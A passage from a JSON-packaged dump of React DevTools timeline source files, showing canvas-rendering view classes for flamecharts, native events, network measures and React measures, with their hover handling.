hovering over this frame\n    }\n\n    // Only care about frames displayed by this view.\n    const stackFrameToSet =\n      hoveredStackFrame && this._stackFrameSet.has(hoveredStackFrame)\n        ? hoveredStackFrame\n        : null;\n    if (this._hoveredStackFrame === stackFrameToSet) {\n      return; // Resulting state is unchanged\n    }\n    this._hoveredStackFrame = stackFrameToSet;\n    this.setNeedsDisplay();\n  }\n\n  draw(context: CanvasRenderingContext2D) {\n    const {\n      frame,\n      _stackLayer,\n      _hoveredStackFrame,\n      _intrinsicSize,\n      visibleArea,\n    } = this;\n\n    context.fillStyle = COLORS.PRIORITY_BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n\n    const scaleFactor = positioningScaleFactor(_intrinsicSize.width, frame);\n\n    for (let i = 0; i < _stackLayer.length; i++) {\n      const stackFrame = _stackLayer[i];\n      const {name, timestamp, duration} = stackFrame;\n\n      const width = durationToWidth(duration, scaleFactor);\n      if (width < 1) {\n        continue; // Too small to render at this zoom level\n      }\n\n      const x = Math.floor(timestampToPosition(timestamp, scaleFactor, frame));\n      const nodeRect: Rect = {\n        origin: {x, y: frame.origin.y},\n        size: {\n          width: Math.floor(width - BORDER_SIZE),\n          height: Math.floor(FLAMECHART_FRAME_HEIGHT - BORDER_SIZE),\n        },\n      };\n      if (!rectIntersectsRect(nodeRect, visibleArea)) {\n        continue; // Not in view\n      }\n\n      const showHoverHighlight = _hoveredStackFrame === _stackLayer[i];\n\n      let textFillStyle;\n      if (isInternalModule(this._internalModuleSourceToRanges, stackFrame)) {\n        context.fillStyle = showHoverHighlight\n          ? COLORS.INTERNAL_MODULE_FRAME_HOVER\n          : COLORS.INTERNAL_MODULE_FRAME;\n        textFillStyle = COLORS.INTERNAL_MODULE_FRAME_TEXT;\n      } else {\n        context.fillStyle = showHoverHighlight\n          ? hoverColorForStackFrame(stackFrame)\n          : defaultColorForStackFrame(stackFrame);\n        textFillStyle = COLORS.TEXT_COLOR;\n      }\n\n      const drawableRect = intersectionOfRects(nodeRect, visibleArea);\n      context.fillRect(\n        drawableRect.origin.x,\n        drawableRect.origin.y,\n        drawableRect.size.width,\n        drawableRect.size.height,\n      );\n\n      drawText(name, context, nodeRect, drawableRect, {\n        fillStyle: textFillStyle,\n      });\n    }\n\n    // Render bottom border.\n    const borderFrame: Rect = {\n      origin: {\n        x: frame.origin.x,\n        y: frame.origin.y + FLAMECHART_FRAME_HEIGHT - BORDER_SIZE,\n      },\n      size: {\n        width: frame.size.width,\n        height: BORDER_SIZE,\n      },\n    };\n    if (rectIntersectsRect(borderFrame, visibleArea)) {\n      const borderDrawableRect = intersectionOfRects(borderFrame, visibleArea);\n      context.fillStyle = COLORS.PRIORITY_BORDER;\n      context.fillRect(\n        borderDrawableRect.origin.x,\n        borderDrawableRect.origin.y,\n        borderDrawableRect.size.width,\n        borderDrawableRect.size.height,\n      );\n    }\n  }\n\n  /**\n   * @private\n   */\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const {_stackLayer, frame, _intrinsicSize, _onHover, visibleArea} = this;\n    const {location} = interaction.payload;\n    if (!_onHover || !rectContainsPoint(location, visibleArea)) {\n      return;\n    }\n\n    // Find the node being hovered over.\n    const scaleFactor = positioningScaleFactor(_intrinsicSize.width, frame);\n    let startIndex = 0;\n    let stopIndex = _stackLayer.length - 1;\n    while (startIndex <= stopIndex) {\n      const currentIndex = Math.floor((startIndex + stopIndex) / 2);\n      const flamechartStackFrame = _stackLayer[currentIndex];\n      const {timestamp, duration} = flamechartStackFrame;\n\n      const x = Math.floor(timestampToPosition(timestamp, scaleFactor, frame));\n      const width = durationToWidth(duration, scaleFactor);\n\n      // Don't show tooltips for nodes that are too small to render at this zoom level.\n      if (Math.floor(width - BORDER_SIZE) >= 1) {\n        if (x <= location.x && x + width >= location.x) {\n          this.currentCursor = 'context-menu';\n          viewRefs.hoveredView = this;\n          _onHover(flamechartStackFrame);\n          return;\n        }\n      }\n\n      if (x > location.x) {\n        stopIndex = currentIndex - 1;\n      } else {\n        startIndex = currentIndex + 1;\n      }\n    }\n\n    _onHover(null);\n  }\n\n  _didGrab: boolean = false;\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n    }\n  }\n}\n\nexport class FlamechartView extends View {\n  _flamechartRowViews: FlamechartStackLayerView[] = [];\n\n  /** Container view that vertically stacks flamechart rows */\n  _verticalStackView: View;\n\n  _hoveredStackFrame: FlamechartStackFrame | null = null;\n  _onHover: ((node: FlamechartStackFrame | null) => void) | null = null;\n\n  constructor(\n    surface: Surface,\n    frame: Rect,\n    flamechart: Flamechart,\n    internalModuleSourceToRanges: InternalModuleSourceToRanges,\n    duration: number,\n  ) {\n    super(surface, frame, layeredLayout);\n    this.setDataAndUpdateSubviews(\n      flamechart,\n      internalModuleSourceToRanges,\n      duration,\n    );\n  }\n\n  setDataAndUpdateSubviews(\n    flamechart: Flamechart,\n    internalModuleSourceToRanges: InternalModuleSourceToRanges,\n    duration: number,\n  ) {\n    const {surface, frame, _onHover, _hoveredStackFrame} = this;\n\n    // Clear existing rows on data update\n    if (this._verticalStackView) {\n      this.removeAllSubviews();\n      this._flamechartRowViews = [];\n    }\n\n    this._verticalStackView = new View(surface, frame, verticallyStackedLayout);\n    this._flamechartRowViews = flamechart.map(stackLayer => {\n      const rowView = new FlamechartStackLayerView(\n        surface,\n        frame,\n        stackLayer,\n        internalModuleSourceToRanges,\n        duration,\n      );\n      this._verticalStackView.addSubview(rowView);\n\n      // Update states\n      rowView._onHover = _onHover;\n      rowView.setHoveredFlamechartStackFrame(_hoveredStackFrame);\n      return rowView;\n    });\n\n    // Add a plain background view to prevent gaps from appearing between flamechartRowViews.\n    this.addSubview(new BackgroundColorView(surface, frame));\n    this.addSubview(this._verticalStackView);\n  }\n\n  setHoveredFlamechartStackFrame(\n    hoveredStackFrame: FlamechartStackFrame | null,\n  ) {\n    this._hoveredStackFrame = hoveredStackFrame;\n    this._flamechartRowViews.forEach(rowView =>\n      rowView.setHoveredFlamechartStackFrame(hoveredStackFrame),\n    );\n  }\n\n  setOnHover(onHover: (node: FlamechartStackFrame | null) => void) {\n    this._onHover = onHover;\n    this._flamechartRowViews.forEach(rowView => (rowView._onHover = onHover));\n  }\n\n  desiredSize(): {\n    height: number,\n    hideScrollBarIfLessThanHeight?: number,\n    maxInitialHeight?: number,\n    width: number,\n  } {\n    // Ignore the wishes of the background color view\n    const intrinsicSize = this._verticalStackView.desiredSize();\n    return {\n      ...intrinsicSize,\n      // Collapsed by default\n      maxInitialHeight: 0,\n    };\n  }\n\n  /**\n   * @private\n   */\n  _handleMouseMove(interaction: MouseMoveInteraction) {\n    const {_onHover, visibleArea} = this;\n    if (!_onHover) {\n      return;\n    }\n\n    const {location} = interaction.payload;\n    if (!rectContainsPoint(location, visibleArea)) {\n      // Clear out any hovered flamechart stack frame\n      _onHover(null);\n    }\n  }\n\n  handleInteraction(interaction: Interaction) {\n    switch (interaction.type) {\n      case 'mousemove':\n        this._handleMouseMove(interaction);\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/NativeEventsView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {NativeEvent, TimelineData} from '../types';\nimport type {\n  Interaction,\n  IntrinsicSize,\n  MouseMoveInteraction,\n  Rect,\n  ViewRefs,\n} from '../view-base';\n\nimport {\n  durationToWidth,\n  positioningScaleFactor,\n  positionToTimestamp,\n  timestampToPosition,\n} from './utils/positioning';\nimport {drawText} from './utils/text';\nimport {formatDuration} from '../utils/formatting';\nimport {\n  View,\n  Surface,\n  rectContainsPoint,\n  rectIntersectsRect,\n  intersectionOfRects,\n} from '../view-base';\nimport {COLORS, NATIVE_EVENT_HEIGHT, BORDER_SIZE} from './constants';\n\nconst ROW_WITH_BORDER_HEIGHT = NATIVE_EVENT_HEIGHT + BORDER_SIZE;\n\nexport class NativeEventsView extends View {\n  _depthToNativeEvent: Map<number, NativeEvent[]>;\n  _hoveredEvent: NativeEvent | null = null;\n  _intrinsicSize: IntrinsicSize;\n  _maxDepth: number = 0;\n  _profilerData: TimelineData;\n\n  onHover: ((event: NativeEvent | null) => void) | null = null;\n\n  constructor(surface: Surface, frame: Rect, profilerData: TimelineData) {\n    super(surface, frame);\n\n    this._profilerData = profilerData;\n\n    this._performPreflightComputations();\n  }\n\n  _performPreflightComputations() {\n    this._depthToNativeEvent = new Map();\n\n    const {duration, nativeEvents} = this._profilerData;\n\n    nativeEvents.forEach(event => {\n      const depth = event.depth;\n\n      this._maxDepth = Math.max(this._maxDepth, depth);\n\n      if (!this._depthToNativeEvent.has(depth)) {\n        this._depthToNativeEvent.set(depth, [event]);\n      } else {\n        // $FlowFixMe[incompatible-use] This is unnecessary.\n        this._depthToNativeEvent.get(depth).push(event);\n      }\n    });\n\n    this._intrinsicSize = {\n      width: duration,\n      height: (this._maxDepth + 1) * ROW_WITH_BORDER_HEIGHT,\n      hideScrollBarIfLessThanHeight: ROW_WITH_BORDER_HEIGHT,\n    };\n  }\n\n  desiredSize(): IntrinsicSize {\n    return this._intrinsicSize;\n  }\n\n  setHoveredEvent(hoveredEvent: NativeEvent | null) {\n    if (this._hoveredEvent === hoveredEvent) {\n      return;\n    }\n    this._hoveredEvent = hoveredEvent;\n    this.setNeedsDisplay();\n  }\n\n  /**\n   * Draw a single `NativeEvent` as a box/span with text inside of it.\n   */\n  _drawSingleNativeEvent(\n    context: CanvasRenderingContext2D,\n    rect: Rect,\n    event: NativeEvent,\n    baseY: number,\n    scaleFactor: number,\n    showHoverHighlight: boolean,\n  ) {\n    const {frame} = this;\n    const {depth, duration, timestamp, type, warning} = event;\n\n    baseY += depth * ROW_WITH_BORDER_HEIGHT;\n\n    const xStart = timestampToPosition(timestamp, scaleFactor, frame);\n    const xStop = timestampToPosition(timestamp + duration, scaleFactor, frame);\n    const eventRect: Rect = {\n      origin: {\n        x: xStart,\n        y: baseY,\n      },\n      size: {width: xStop - xStart, height: NATIVE_EVENT_HEIGHT},\n    };\n    if (!rectIntersectsRect(eventRect, rect)) {\n      return; // Not in view\n    }\n\n    const width = durationToWidth(duration, scaleFactor);\n    if (width < 1) {\n      return; // Too small to render at this zoom level\n    }\n\n    const drawableRect = intersectionOfRects(eventRect, rect);\n    context.beginPath();\n    if (warning !== null) {\n      context.fillStyle = showHoverHighlight\n        ? COLORS.WARNING_BACKGROUND_HOVER\n        : COLORS.WARNING_BACKGROUND;\n    } else {\n      context.fillStyle = showHoverHighlight\n        ? COLORS.NATIVE_EVENT_HOVER\n        : COLORS.NATIVE_EVENT;\n    }\n    context.fillRect(\n      drawableRect.origin.x,\n      drawableRect.origin.y,\n      drawableRect.size.width,\n      drawableRect.size.height,\n    );\n\n    const label = `${type} - ${formatDuration(duration)}`;\n\n    drawText(label, context, eventRect, drawableRect);\n  }\n\n  draw(context: CanvasRenderingContext2D) {\n    const {\n      frame,\n      _profilerData: {nativeEvents},\n      _hoveredEvent,\n      visibleArea,\n    } = this;\n\n    context.fillStyle = COLORS.PRIORITY_BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n\n    // Draw events\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n\n    nativeEvents.forEach(event => {\n      this._drawSingleNativeEvent(\n        context,\n        visibleArea,\n        event,\n        frame.origin.y,\n        scaleFactor,\n        event === _hoveredEvent,\n      );\n    });\n\n    // Render bottom borders.\n    for (let i = 0; i <= this._maxDepth; i++) {\n      const borderFrame: Rect = {\n        origin: {\n          x: frame.origin.x,\n          y: frame.origin.y + NATIVE_EVENT_HEIGHT,\n        },\n        size: {\n          width: frame.size.width,\n          height: BORDER_SIZE,\n        },\n      };\n      if (rectIntersectsRect(borderFrame, visibleArea)) {\n        const borderDrawableRect = intersectionOfRects(\n          borderFrame,\n          visibleArea,\n        );\n        context.fillStyle = COLORS.PRIORITY_BORDER;\n        context.fillRect(\n          borderDrawableRect.origin.x,\n          borderDrawableRect.origin.y,\n          borderDrawableRect.size.width,\n          borderDrawableRect.size.height,\n        );\n      }\n    }\n  }\n\n  /**\n   * @private\n   */\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const {frame, _intrinsicSize, onHover, visibleArea} = this;\n    if (!onHover) {\n      return;\n    }\n\n    const {location} = interaction.payload;\n    if (!rectContainsPoint(location, visibleArea)) {\n      onHover(null);\n      return;\n    }\n\n    const scaleFactor = positioningScaleFactor(_intrinsicSize.width, frame);\n    const hoverTimestamp = positionToTimestamp(location.x, scaleFactor, frame);\n\n    const adjustedCanvasMouseY = location.y - frame.origin.y;\n    const depth = Math.floor(adjustedCanvasMouseY / ROW_WITH_BORDER_HEIGHT);\n    const nativeEventsAtDepth = this._depthToNativeEvent.get(depth);\n\n    if (nativeEventsAtDepth) {\n      // Find the event being hovered over.\n      for (let index = nativeEventsAtDepth.length - 1; index >= 0; index--) {\n        const nativeEvent = nativeEventsAtDepth[index];\n        const {duration, timestamp} = nativeEvent;\n\n        if (\n          hoverTimestamp >= timestamp &&\n          hoverTimestamp <= timestamp + duration\n        ) {\n          viewRefs.hoveredView = this;\n          onHover(nativeEvent);\n          return;\n        }\n      }\n    }\n\n    onHover(null);\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/NetworkMeasuresView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {NetworkMeasure, TimelineData} from '../types';\nimport type {\n  Interaction,\n  IntrinsicSize,\n  MouseMoveInteraction,\n  Rect,\n  ViewRefs,\n} from '../view-base';\n\nimport {\n  durationToWidth,\n  positioningScaleFactor,\n  positionToTimestamp,\n  timestampToPosition,\n} from './utils/positioning';\nimport {drawText} from './utils/text';\nimport {formatDuration} from '../utils/formatting';\nimport {\n  View,\n  Surface,\n  rectContainsPoint,\n  rectIntersectsRect,\n  intersectionOfRects,\n} from '../view-base';\nimport {BORDER_SIZE, COLORS, SUSPENSE_EVENT_HEIGHT} from './constants';\n\nconst HEIGHT = SUSPENSE_EVENT_HEIGHT; // TODO Constant name\nconst ROW_WITH_BORDER_HEIGHT = HEIGHT + BORDER_SIZE;\n\nconst BASE_URL_REGEX = /([^:]+:\\/\\/[^\\/]+)/;\n\nexport class NetworkMeasuresView extends View {\n  _depthToNetworkMeasure: Map<number, NetworkMeasure[]>;\n  _hoveredNetworkMeasure: NetworkMeasure | null = null;\n  _intrinsicSize: IntrinsicSize;\n  _maxDepth: number = 0;\n  _profilerData: TimelineData;\n\n  onHover: ((event: NetworkMeasure | null) => void) | null = null;\n\n  constructor(surface: Surface, frame: Rect, profilerData: TimelineData) {\n    super(surface, frame);\n\n    this._profilerData = profilerData;\n\n    this._performPreflightComputations();\n  }\n\n  _performPreflightComputations() {\n    this._depthToNetworkMeasure = new Map();\n\n    const {duration, networkMeasures} = this._profilerData;\n\n    networkMeasures.forEach(event => {\n      const depth = event.depth;\n\n      this._maxDepth = Math.max(this._maxDepth, depth);\n\n      if (!this._depthToNetworkMeasure.has(depth)) {\n        this._depthToNetworkMeasure.set(depth, [event]);\n      } else {\n        // $FlowFixMe[incompatible-use] This is unnecessary.\n        this._depthToNetworkMeasure.get(depth).push(event);\n      }\n    });\n\n    this._intrinsicSize = {\n      width: duration,\n      height: (this._maxDepth + 1) * ROW_WITH_BORDER_HEIGHT,\n      // Collapsed by default\n      maxInitialHeight: 0,\n    };\n  }\n\n  desiredSize(): IntrinsicSize {\n    return this._intrinsicSize;\n  }\n\n  setHoveredEvent(networkMeasure: NetworkMeasure | null) {\n    if (this._hoveredNetworkMeasure === networkMeasure) {\n      return;\n    }\n    this._hoveredNetworkMeasure = networkMeasure;\n    this.setNeedsDisplay();\n  }\n\n  /**\n   * Draw a single `NetworkMeasure` as a box/span with text inside of it.\n   */\n  _drawSingleNetworkMeasure(\n    context: CanvasRenderingContext2D,\n    networkMeasure: NetworkMeasure,\n    baseY: number,\n    scaleFactor: number,\n    showHoverHighlight: boolean,\n  ) {\n    const {frame, visibleArea} = this;\n    const {\n      depth,\n      finishTimestamp,\n      firstReceivedDataTimestamp,\n      lastReceivedDataTimestamp,\n      receiveResponseTimestamp,\n      sendRequestTimestamp,\n      url,\n    } = networkMeasure;\n\n    // Account for requests that did not complete while we were profiling.\n    // As well as requests that did not receive data before finish (cached?).\n    const duration = this._profilerData.duration;\n    const timestampBegin = sendRequestTimestamp;\n    const timestampEnd =\n      finishTimestamp || lastReceivedDataTimestamp || duration;\n    const timestampMiddle =\n      receiveResponseTimestamp || firstReceivedDataTimestamp || timestampEnd;\n\n    // Convert all timestamps to x coordinates.\n    const xStart = timestampToPosition(timestampBegin, scaleFactor, frame);\n    const xMiddle = timestampToPosition(timestampMiddle, scaleFactor, frame);\n    const xStop = timestampToPosition(timestampEnd, scaleFactor, frame);\n\n    const width = durationToWidth(xStop - xStart, scaleFactor);\n    if (width < 1) {\n      return; // Too small to render at this zoom level\n    }\n\n    baseY += depth * ROW_WITH_BORDER_HEIGHT;\n\n    const outerRect: Rect = {\n      origin: {\n        x: xStart,\n        y: baseY,\n      },\n      size: {\n        width: xStop - xStart,\n        height: HEIGHT,\n      },\n    };\n    if (!rectIntersectsRect(outerRect, visibleArea)) {\n      return; // Not in view\n    }\n\n    // Draw the secondary rect first (since it also shows as a thin border around the primary rect).\n    let rect = {\n      origin: {\n        x: xStart,\n        y: baseY,\n      },\n      size: {\n        width: xStop - xStart,\n        height: HEIGHT,\n      },\n    };\n    if (rectIntersectsRect(rect, visibleArea)) {\n      context.beginPath();\n      context.fillStyle =\n        this._hoveredNetworkMeasure === networkMeasure\n          ? COLORS.NETWORK_SECONDARY_HOVER\n          : COLORS.NETWORK_SECONDARY;\n      context.fillRect(\n        rect.origin.x,\n        rect.origin.y,\n        rect.size.width,\n        rect.size.height,\n      );\n    }\n\n    rect = {\n      origin: {\n        x: xStart + BORDER_SIZE,\n        y: baseY + BORDER_SIZE,\n      },\n      size: {\n        width: xMiddle - xStart - BORDER_SIZE,\n        height: HEIGHT - BORDER_SIZE * 2,\n      },\n    };\n    if (rectIntersectsRect(rect, visibleArea)) {\n      context.beginPath();\n      context.fillStyle =\n        this._hoveredNetworkMeasure === networkMeasure\n          ? COLORS.NETWORK_PRIMARY_HOVER\n          : COLORS.NETWORK_PRIMARY;\n      context.fillRect(\n        rect.origin.x,\n        rect.origin.y,\n        rect.size.width,\n        rect.size.height,\n      );\n    }\n\n    const baseUrl = url.match(BASE_URL_REGEX);\n    const displayUrl = baseUrl !== null ? baseUrl[1] : url;\n\n    const durationLabel =\n      finishTimestamp !== 0\n        ? `${formatDuration(finishTimestamp - sendRequestTimestamp)} - `\n        : '';\n\n    const label = durationLabel + displayUrl;\n\n    drawText(label, context, outerRect, visibleArea);\n  }\n\n  draw(context: CanvasRenderingContext2D) {\n    const {\n      frame,\n      _profilerData: {networkMeasures},\n      _hoveredNetworkMeasure,\n      visibleArea,\n    } = this;\n\n    context.fillStyle = COLORS.PRIORITY_BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n\n    networkMeasures.forEach(networkMeasure => {\n      this._drawSingleNetworkMeasure(\n        context,\n        networkMeasure,\n        frame.origin.y,\n        scaleFactor,\n        networkMeasure === _hoveredNetworkMeasure,\n      );\n    });\n\n    // Render bottom borders.\n    for (let i = 0; i <= this._maxDepth; i++) {\n      const borderFrame: Rect = {\n        origin: {\n          x: frame.origin.x,\n          y: frame.origin.y + (i + 1) * ROW_WITH_BORDER_HEIGHT - BORDER_SIZE,\n        },\n        size: {\n          width: frame.size.width,\n          height: BORDER_SIZE,\n        },\n      };\n      if (rectIntersectsRect(borderFrame, visibleArea)) {\n        const borderDrawableRect = intersectionOfRects(\n          borderFrame,\n          visibleArea,\n        );\n        context.fillStyle = COLORS.PRIORITY_BORDER;\n        context.fillRect(\n          borderDrawableRect.origin.x,\n          borderDrawableRect.origin.y,\n          borderDrawableRect.size.width,\n          borderDrawableRect.size.height,\n        );\n      }\n    }\n  }\n\n  /**\n   * @private\n   */\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const {frame, _intrinsicSize, onHover, visibleArea} = this;\n    if (!onHover) {\n      return;\n    }\n\n    const {location} = interaction.payload;\n    if (!rectContainsPoint(location, visibleArea)) {\n      onHover(null);\n      return;\n    }\n\n    const scaleFactor = positioningScaleFactor(_intrinsicSize.width, frame);\n    const hoverTimestamp = positionToTimestamp(location.x, scaleFactor, frame);\n\n    const adjustedCanvasMouseY = location.y - frame.origin.y;\n    const depth = Math.floor(adjustedCanvasMouseY / ROW_WITH_BORDER_HEIGHT);\n    const networkMeasuresAtDepth = this._depthToNetworkMeasure.get(depth);\n\n    const duration = this._profilerData.duration;\n\n    if (networkMeasuresAtDepth) {\n      // Find the event being hovered over.\n      for (let index = networkMeasuresAtDepth.length - 1; index >= 0; index--) {\n        const networkMeasure = networkMeasuresAtDepth[index];\n        const {\n          finishTimestamp,\n          lastReceivedDataTimestamp,\n          sendRequestTimestamp,\n        } = networkMeasure;\n\n        const timestampBegin = sendRequestTimestamp;\n        const timestampEnd =\n          finishTimestamp || lastReceivedDataTimestamp || duration;\n\n        if (\n          hoverTimestamp >= timestampBegin &&\n          hoverTimestamp <= timestampEnd\n        ) {\n          this.currentCursor = 'context-menu';\n          viewRefs.hoveredView = this;\n          onHover(networkMeasure);\n          return;\n        }\n      }\n    }\n\n    if (viewRefs.hoveredView === this) {\n      viewRefs.hoveredView = null;\n    }\n\n    onHover(null);\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/ReactMeasuresView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactLane, ReactMeasure, TimelineData} from '../types';\nimport type {\n  Interaction,\n  IntrinsicSize,\n  MouseMoveInteraction,\n  Rect,\n  ViewRefs,\n} from '../view-base';\n\nimport {formatDuration} from '../utils/formatting';\nimport {drawText} from './utils/text';\nimport {\n  durationToWidth,\n  positioningScaleFactor,\n  positionToTimestamp,\n  timestampToPosition,\n} from './utils/positioning';\nimport {\n  View,\n  Surface,\n  rectContainsPoint,\n  rectIntersectsRect,\n  intersectionOfRects,\n} from '../view-base';\n\nimport {COLORS, BORDER_SIZE, REACT_MEASURE_HEIGHT} from './constants';\n\nconst REACT_LANE_HEIGHT = REACT_MEASURE_HEIGHT + BORDER_SIZE;\nconst MAX_ROWS_TO_SHOW_INITIALLY = 5;\n\nexport class ReactMeasuresView extends View {\n  _intrinsicSize: IntrinsicSize;\n  _lanesToRender: ReactLane[];\n  _profilerData: TimelineData;\n  _hoveredMeasure: ReactMeasure | null = null;\n\n  onHover: ((measure: ReactMeasure | null) => void) | null = null;\n\n  constructor(surface: Surface, frame: Rect, profilerData: TimelineData) {\n    super(surface, frame);\n    this._profilerData = profilerData;\n    this._performPreflightComputations();\n  }\n\n  _performPreflightComputations() {\n    this._lanesToRender = [];\n\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const [lane, measuresForLane] of this._profilerData\n      .laneToReactMeasureMap) {\n      // Only show lanes with measures\n      if (measuresForLane.length > 0) {\n        this._lanesToRender.push(lane);\n      }\n    }\n\n    this._intrinsicSize = {\n      width: this._profilerData.duration,\n      height: this._lanesToRender.length * REACT_LANE_HEIGHT,\n      hideScrollBarIfLessThanHeight: REACT_LANE_HEIGHT,\n      maxInitialHeight: MAX_ROWS_TO_SHOW_INITIALLY * REACT_LANE_HEIGHT,\n    };\n  }\n\n  desiredSize(): IntrinsicSize {\n    return this._intrinsicSize;\n  }\n\n  setHoveredMeasure(hoveredMeasure: ReactMeasure | null) {\n    if (this._hoveredMeasure === hoveredMeasure) {\n      return;\n    }\n    this._hoveredMeasure = hoveredMeasure;\n    this.setNeedsDisplay();\n  }\n\n  /**\n   * Draw a single `ReactMeasure` as a bar in the canvas.\n   */\n  _drawSingleReactMeasure(\n    context: CanvasRenderingContext2D,\n    rect: Rect,\n    measure: ReactMeasure,\n    nextMeasure: ReactMeasure | null,\n    baseY: number,\n    scaleFactor: number,\n    showGroupHighlight: boolean,\n    showHoverHighlight: boolean,\n  ): void {\n    const {frame, visibleArea} = this;\n    const {timestamp, type, duration} = measure;\n\n    let fillStyle = null;\n    let hoveredFillStyle = null;\n    let groupSelectedFillStyle = null;\n    let textFillStyle = null;\n\n    // We could change the max to 0 and just skip over rendering anything that small,\n    // but this has the effect of making the chart look very empty when zoomed out.\n    // So long as perf is okay- it might be best to err on the side of showing things.\n    const width = durationToWidth(duration, scaleFactor);\n    if (width <= 0) {\n      return; // Too small to render at this zoom level\n    }\n\n    const x = timestampToPosition(timestamp, scaleFactor, frame);\n    const measureRect: Rect = {\n      origin: {x, y: baseY},\n      size: {width, height: REACT_MEASURE_HEIGHT},\n    };\n    if (!rectIntersectsRect(measureRect, rect)) {\n      return; // Not in view\n    }\n\n    const drawableRect = intersectionOfRects(measureRect, rect);\n    let textRect = measureRect;\n\n    switch (type) {\n      case 'commit':\n        fillStyle = COLORS.REACT_COMMIT;\n        hoveredFillStyle = COLORS.REACT_COMMIT_HOVER;\n        groupSelectedFillStyle = COLORS.REACT_COMMIT_HOVER;\n        textFillStyle = COLORS.REACT_COMMIT_TEXT;\n\n        // Commit phase rects are overlapped by layout and passive rects,\n        // and it looks bad if text flows underneath/behind these overlayed rects.\n        if (nextMeasure != null) {\n          // This clipping shouldn't apply for measures that don't overlap though,\n          // like passive effects that are processed after a delay,\n          // or if there are now layout or passive effects and the next measure is render or idle.\n          if (nextMeasure.timestamp < measure.timestamp + measure.duration) {\n            textRect = {\n              ...measureRect,\n              size: {\n                width:\n                  timestampToPosition(\n                    nextMeasure.timestamp,\n                    scaleFactor,\n                    frame,\n                  ) - x,\n                height: REACT_MEASURE_HEIGHT,\n              },\n            };\n          }\n        }\n        break;\n      case 'render-idle':\n        // We could render idle time as diagonal hashes.\n        // This looks nicer when zoomed in, but not so nice when zoomed out.\n        // color = context.createPattern(getIdlePattern(), 'repeat');\n        fillStyle = COLORS.REACT_IDLE;\n        hoveredFillStyle = COLORS.REACT_IDLE_HOVER;\n        groupSelectedFillStyle = COLORS.REACT_IDLE_HOVER;\n        break;\n      case 'render':\n        fillStyle = COLORS.REACT_RENDER;\n        hoveredFillStyle = COLORS.REACT_RENDER_HOVER;\n        groupSelectedFillStyle = COLORS.REACT_RENDER_HOVER;\n        textFillStyle = COLORS.REACT_RENDER_TEXT;\n        break;\n      case 'layout-effects':\n        fillStyle = COLORS.REACT_LAYOUT_EFFECTS;\n        hoveredFillStyle = COLORS.REACT_LAYOUT_EFFECTS_HOVER;\n        groupSelectedFillStyle = COLORS.REACT_LAYOUT_EFFECTS_HOVER;\n        textFillStyle = COLORS.REACT_LAYOUT_EFFECTS_TEXT;\n        break;\n      case 'passive-effects':\n        fillStyle = COLORS.REACT_PASSIVE_EFFECTS;\n        hoveredFillStyle = COLORS.REACT_PASSIVE_EFFECTS_HOVER;\n        groupSelectedFillStyle = COLORS.REACT_PASSIVE_EFFECTS_HOVER;\n        textFillStyle = COLORS.REACT_PASSIVE_EFFECTS_TEXT;\n        break;\n      default:\n        throw new Error(`Unexpected measure type \"${type}\"`);\n    }\n\n    context.fillStyle = showHoverHighlight\n      ? hoveredFillStyle\n      : showGroupHighlight\n        ? groupSelectedFillStyle\n        : fillStyle;\n    context.fillRect(\n      drawableRect.origin.x,\n      drawableRect.origin.y,\n      drawableRect.size.width,\n      drawableRect.size.height,\n    );\n\n    if (textFillStyle !== null) {\n      drawText(formatDuration(duration), context, textRect, visibleArea, {\n        fillStyle: textFillStyle,\n      });\n    }\n  }\n\n  draw(context: CanvasRenderingContext2D): void {\n    const {frame, _hoveredMeasure, _lanesToRender, _profilerData, visibleArea} =\n      this;\n\n    context.fillStyle = COLORS.PRIORITY_BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n\n    for (let i = 0; i < _lanesToRender.length; i++) {\n      const lane = _lanesToRender[i];\n      const baseY = frame.origin.y + i * REACT_LANE_HEIGHT;\n      const measuresForLane = _profilerData.laneToReactMeasureMap.get(lane);\n\n      if (!measuresForLane) {\n        throw new Error(\n          'No measures found for a React lane! This is a bug in this profiler tool. Please file an issue.',\n        );\n      }\n\n      // Render lane labels\n      const label = _profilerData.laneToLabelMap.get(lane);\n 